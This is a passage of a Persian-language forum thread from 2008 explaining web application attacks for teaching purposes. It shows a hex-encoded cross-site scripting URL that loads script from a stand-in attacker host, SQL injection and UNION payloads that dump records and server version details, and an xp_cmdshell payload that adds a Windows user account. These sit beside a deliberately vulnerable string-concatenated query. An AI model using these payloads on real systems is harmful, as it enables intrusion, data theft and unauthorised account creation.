مشاهده پست های بی پاسخ | مشاهده موضوعهای فعال تاریخ امروز یکشنبه 21 اکتبر, 2018 9:06 pm



پاسخ به موضوع  [ 17 پست ]  برو به صفحه قبلی  1, 2, 3, 4  بعدی
 حمله به برنامه های وب سایتها 
نویسنده پیام
آواتار کاربر

عضو: جمعه 11 ژانویه, 2008 6:02 pm
پست ها: 173
آدرس: تهران خیابان شوش نبش جردن جنوبی
پست Re: حمله به برنامه های وب سایتها
نمونه دیگری از این نوع حملات به این صورت انجام می‌شود که هکر به جای استفاده از متن به فرمت ASCII‌ یا Unicode از کد حروف hex‌ استفاده می‌نماید.
کد:
News: Here is a Croos-Site Script Attack

URL:  http://77%2077%2077%202e%2053%206f%206d%2065%2073%2069%2074%2065%20

2e%2063%206f%206d/default.aspx?3c%2053%2063%2072%2069%2070%2074%2020%20

73%2072%2063%203d%2092%2044%206f%2053%2074%2075%2066%2066%202e%20

4a%2073%2092%203e%203c%202f%2053%2063%2072%2069%2070%2074%203e


حروف فوق در قالب ASCII‌ معادل

کد:
News: Here is a Cross-Site Script Attack

URL: www.SomeSite.com/default.aspx?ID=<script src='http://CssAttack.com/dostuff/js'></script>
می‌باشند.

با مشاهده موارد فوق مشخص می‌شود که اعتبار سنجی داده‌ها در زمان ورود اهمیت فوق‌العاده‌ای دارد. اسکریپتی که در URL‌ ارائه می‌گردد می‌تواند اعمال بسیار خطرناکی را انجام دهد که بستگی به قابلیت‌های زبان اسکریپت‌نویسی دارد.

این اعمال شامل موارد زیر می‌باشند:

· ممکن است داده‌ها تحریف شوند، به عنوان مثال ممکن است محتویات یک cookie تغییر یابد.

· یکپارچگی اطلاعات به خطر افتد.

· اسکریپت‌هایی با اهداف خرابکارانه در محیط سایت‌های مطمئن اجرا شوند.

· Cookie ها مقدار دهی شده و یا اطلاعات آنها خوانده شود.

· ورودی‌های کاربران مورد استراق سمع واقع شود.

· کاربران به سایت‌هایی نامطمئن هدایت شوند.


دوشنبه 12 می, 2008 12:30 pm
مشخصات شخصی
آواتار کاربر

عضو: جمعه 11 ژانویه, 2008 6:02 pm
پست ها: 173
آدرس: تهران خیابان شوش نبش جردن جنوبی
پست Re: حمله به برنامه های وب سایتها
در ادامه به روش‌هایی که با استفاده از آنها می‌توان به پایگاه داده سیستم نفوذ کرد اشاره می‌شود.

تزریق SQL

به زبان ساده این نوع حمله وارد کردن کد SQL به یک برنامه است، در شرایطی که توسعه دهنده برنامه قصد آن را نداشته و یا حتی پیش‌بینی آن را نیز نکرده باشد. ریشه این نوع حملات به ساختار طراحی ضعیف برنامه برمی‌گردد و تنها در مورد برنامه‌هایی قابل انجام است که از روش‌های ساخت رشته های SQL بهره می‌گیرند.

به مثال زیر توجه کنید:
کد:
Dim StrSQL as String = "SELECT CustomerID, CompanyName, ContactName, " & -

     "ContactTitle FROM Customers WHERE CustomerID =  '" & txtCustID.Text & "'"


در عبارت فوق با استفاده از روش ساخت رشته به صورت پویا یک رشته SQL تولید می‌شود که CustomerID‌ با مقدار موجود در txtCustID جایگزین می‌شود. در شرایط عادی کاربر شناسه خود را در Box وارد می‌نماید، برنامه اقدام به جستجو در پایگاه داده نموده و پس از آن نتایج برای کاربر نمایش داده می‌شود. به عنوان مثال اگر کاربر شناسه ALFKI را وارد نماید نتایجی که برنامه تولید می‌کند به شرح زیر خواهد بود:
ضمیمه:
image015.jpg


برای مشاهده تصاویر و دانلود فایل های ضمیمه ، لازم است در سایت ثبت نام کرده و با نام کاربری خود وارد شوید. در حال حاضر ثبت نام در سایت رایگان است.


دوشنبه 12 می, 2008 12:35 pm
مشخصات شخصی
آواتار کاربر

عضو: جمعه 11 ژانویه, 2008 6:02 pm
پست ها: 173
آدرس: تهران خیابان شوش نبش جردن جنوبی
پست Re: حمله به برنامه های وب سایتها
در چنین موردی کاربر می‌تواند در فرایند تولید عبارت SQL به گونه‌ای دخالت کند که پیام خطا دریافت نماید. اگر خطای تولید شده به درستی در برنامه مدیریت نشود و این پیام به صورت کامل در اختیار کاربر قرار گیرد، اطلاعات بیشتری در خصوص عبارت SQL‌ دراختیار کاربر قرار خواهد گرفت که مقدمه نفوذ به سیستم را فراهم می‌آورد. به عنوان مثال کاربر می‌تواند عبارت زیر را وارد نماید:
کد:
ALFKI' or CustomerID like '%


با توجه به اینکه هیچگونه اعتبار سنجی بر روی داده ورودی کاربر انجام نمی‌شود، عبارت ساخت رشته SQL عبارت زیر را تولید خواهد نمود که در پی آن اجرا هم خواهد شد:
کد:
SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = 'ALFKI' or CustomerID like '%'


در نتیجه اجرای این رشته SQL‌ علاوه بر اطلاعات کاربر با شناسه ALFKI، اطلاعات تمام کاربران موجود در پایگاه داده نمایش داده می‌شود. در صورتی که در پایگاه داده سیستم اطلاعات حساس شخص مانند شماره کارت اعتباری ذخیره شده باشد، این اتفاق می‌تواند منجر به بروز یک فاجعه شود.

هکرها به روش دیگری نیز می‌توانند با تزریق SQL‌ به اطلاعات پایگاه داده دسترسی یابند. اگر رشته ALFKI' or 1=1 -- در صفحه وارد شود نتیجه‌ دقیقا مشابه حالت قبل خواهد بود. در این صورت رشته SQLتولید شده، به صورت زیر می‌باشد:

کد:
SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = 'ALFKI' or 1=1 --


دو خط فاصله (--) استفاده شده در عبارت در MS SQL Server‌ مشخص کننده جملات توضیحات (Comments) هستند. این کار در My SQL‌ با نماد (#)‌ و در اراکل با نماد (;)‌ انجام می‌شود.
هکر قادر است هر رشته‌ای را در صفحه وبی وارد نماید و در صورتی که اعتبار سنجی مناسب انجام نشود، بالقوه سایت در معرض خطرات فراوانی خواهد بود.


دوشنبه 12 می, 2008 12:39 pm
مشخصات شخصی
آواتار کاربر

عضو: جمعه 11 ژانویه, 2008 6:02 pm
پست ها: 173
آدرس: تهران خیابان شوش نبش جردن جنوبی
پست Re: حمله به برنامه های وب سایتها
حمله SQL Union

برای دریافت اطلاعات بیشتر در مورد سرور حمله کنندگان به سایت می‌توانند از عبارت Union استفاده نمایند. با وجودی که این نوع حمله بسیار سخت‌تر بوده و دشواری‌های خاص خود را به همراه دارد، ولی با این وجود غیر ممکن نیست. مهمترین محدودیت این نوع حمله در این است که هر دو عبارت پرس و جو باید یک تعداد ستون‌های یکسانی را برگردانند و نوع داده ستونهای هر دو عبارت پرس و جو باید با هم سازگار باشند. این مسئله باعث می‌شود که حمله Union دشوارتر از سایر روشها باشد ولی با چند بار تلاش هکر می‌تواند موفق به گرفتن اطلاعات مورد نیاز خود شود. به عنوان مثالی از این نوع حمله فرض کنید هکر عبارت زیر را وارد می‌نماید:
کد:
ALFKI' union select @@Servername --


در این صورت رشته SQL‌ زیر تولید خواهد شد:
کد:
SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = 'ALFKI' union select @@Servername  --'


این رشته منجر به تولید یک خطا در سمت سرور می‌شود و با توجه به مکانیزم کنترل خطا، احتمالا پیام تولید شده به کاربر نمایش داده می‌شود. در هر صورت هکر چند بار تلاش به شرح زیر انجام می‌دهد:

کد:
ALFKI' union select @@Servername, @@Servicename, @@Version --

ALFKI' union select @@Servername, @@Servicename, @@Servicename, @@Version --


با چندین بار تکرار و سعی و خطا بالاخره هکر می‌تواند به هدف خود رسیده و تعداد ستون‌هایی که توسط عبارت SQL برگردانده می‌شود را کشف نماید. با این کشف کنترل بیشتری بر روی عبارت union بعدی که نوشته می‌شود بوجود می‌آید. ورودی فوق عبارتی به شکل زیر تولید می‌کند:
کد:
SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = 'ALFKI' union select @@Servername, @@Servicename, @@Servicename, @@Version --


با توجه به اینکه عبارت فوق یک عبارت معتبر SQL است، لذا SQL Server آن را اجرا نموده و مقادیر نتیجه را برای صفحه ASP.NET برمی‌گرداند.
ضمیمه:
image016.jpg


این خروجی اطلاعات ذیقیمتی در ارتباط با سرور شامل نام سرور، نام سرویس، نسخه سرور، سرویس پک و نسخه سیستم عامل را در اختیار هکر قرار می‌دهد.


برای مشاهده تصاویر و دانلود فایل های ضمیمه ، لازم است در سایت ثبت نام کرده و با نام کاربری خود وارد شوید. در حال حاضر ثبت نام در سایت رایگان است.


دوشنبه 12 می, 2008 12:44 pm
مشخصات شخصی
آواتار کاربر

عضو: جمعه 11 ژانویه, 2008 6:02 pm
پست ها: 173
آدرس: تهران خیابان شوش نبش جردن جنوبی
پست Re: حمله به برنامه های وب سایتها
حملات پیشرفته تر

در حملاتی که تا اینجا مورد بررسی قرار گرفتند، یک SQL ساده به برنامه تزریق می شد. در صورتی که تدابیر لازمه اندیشیده نشود همه پایگاه های داده در برابر این نوع حملات آسیب پذیر هستند. به عنوان یک واقعیت همه سیستم های مدیریت پایگاه داده نقاط ضعف و قوت خاص خود را دارند و بنابراین امکان نفوذ به آنها برای مهاجم ها در هر زمانی وجود دارد.

یکی دیگر از حملات که از موارد قبلی پیشرفته تر است اجرای دستورات خارجی سیستم عامل می باشد از درون محیط سیستم مدیریت پایگاه داده است. به عنوان مثال SQL Server به کاربران اجازه می دهد که با استفاده از روال ذخیره شده
( System Account Manager )
xp-cmdshell دستورات خارجی سیستم عامل را اجرا کند.

برای بهره گرفتن از این قابلیت کاربر می تواند در بخش ورود اطلاعات صفحه وب متن زیر را وارد نماید:
کد:
'exec master..xp-cmdshell 'net user HackUser Mypassword /ADD'--


در این صورت برنامه کاربردی عبارت SQL زیر را ساخته و آن را به SQL Server ارسال می نماید:

کد:

SELECT CustomerID, CompanyName, ContactName, ContactTitle FROM Customers WHERE CustomerID = ''exec master..xp-cmdshell 'net user HackUser Mypassword /ADD'--


ضمیمه:
image019.jpg


برای مشاهده تصاویر و دانلود فایل های ضمیمه ، لازم است در سایت ثبت نام کرده و با نام کاربری خود وارد شوید. در حال حاضر ثبت نام در سایت رایگان است.


چهارشنبه 14 می, 2008 1:10 pm
مشخصات شخصی
مشاهده پست های قبلی:  نمایش بر اساس  
پاسخ به موضوع   [ 17 پست ]  برو به صفحه قبلی  1, 2, 3, 4  بعدی

افراد آنلاین

کاربر حاضر در این تالار : - و 1 مهمان


شما نمی توانید در این تالار موضوع جدید باز کنید
شما نمی توانید در این تالار به موضوع ها پاسخ دهید
شما نمی توانید در این تالار پست های خود را ویرایش کنید
شما نمی توانید در این تالار پست های خود را حذف کنید
شما نمی توانید در این تالار ضمیمه ارسال کنید

جستجو برای:
پرش به:  
cron
استفاده و نقل از مباحث سایت، فقط با ذکر منبع و لینک سایت میکرورایانه مجاز است.
Copyright © 2006 - 2010 MicroRayaneh - Powered by phpBB © phpBB Group
Valid CSS2 Valid XHTML 1.0
طراحی سایت : میکرو رایانه